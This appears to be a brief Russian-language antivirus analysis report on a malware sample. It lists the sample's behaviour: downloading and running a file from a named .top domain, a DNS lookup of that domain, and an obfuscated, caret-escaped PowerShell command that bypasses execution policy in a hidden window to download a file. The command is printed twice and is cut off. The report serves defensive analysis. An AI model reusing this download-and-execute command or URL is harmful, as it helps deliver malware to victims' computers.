Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://mondayhelthc.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "P^Owe^rsheLl.^ex^E^ -^eXe^CUt^i^o^NP^O^l^I^Cy^ BY^pA^SS^ -NO^pro^file^ -^wi^N^D^OWS^tYlE ^H^idd^En ^(^NE^W-^o^B^j^ECT^ S^Y^s^t^EM.N^E^t^.We^BClieNt)^.do^wNl^OA^d^file('http://mo...
Сетевая активность
UDP
- DNS ASK mo####helthc.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "P^Owe^rsheLl.^ex^E^ -^eXe^CUt^i^o^NP^O^l^I^Cy^ BY^pA^SS^ -NO^pro^file^ -^wi^N^D^OWS^tYlE ^H^idd^En ^(^NE^W-^o^B^j^ECT^ S^Y^s^t^EM.N^E^t^.We^BClieNt)^.do^wNl^OA^d^file('http://mo...' (со скрытым окном)
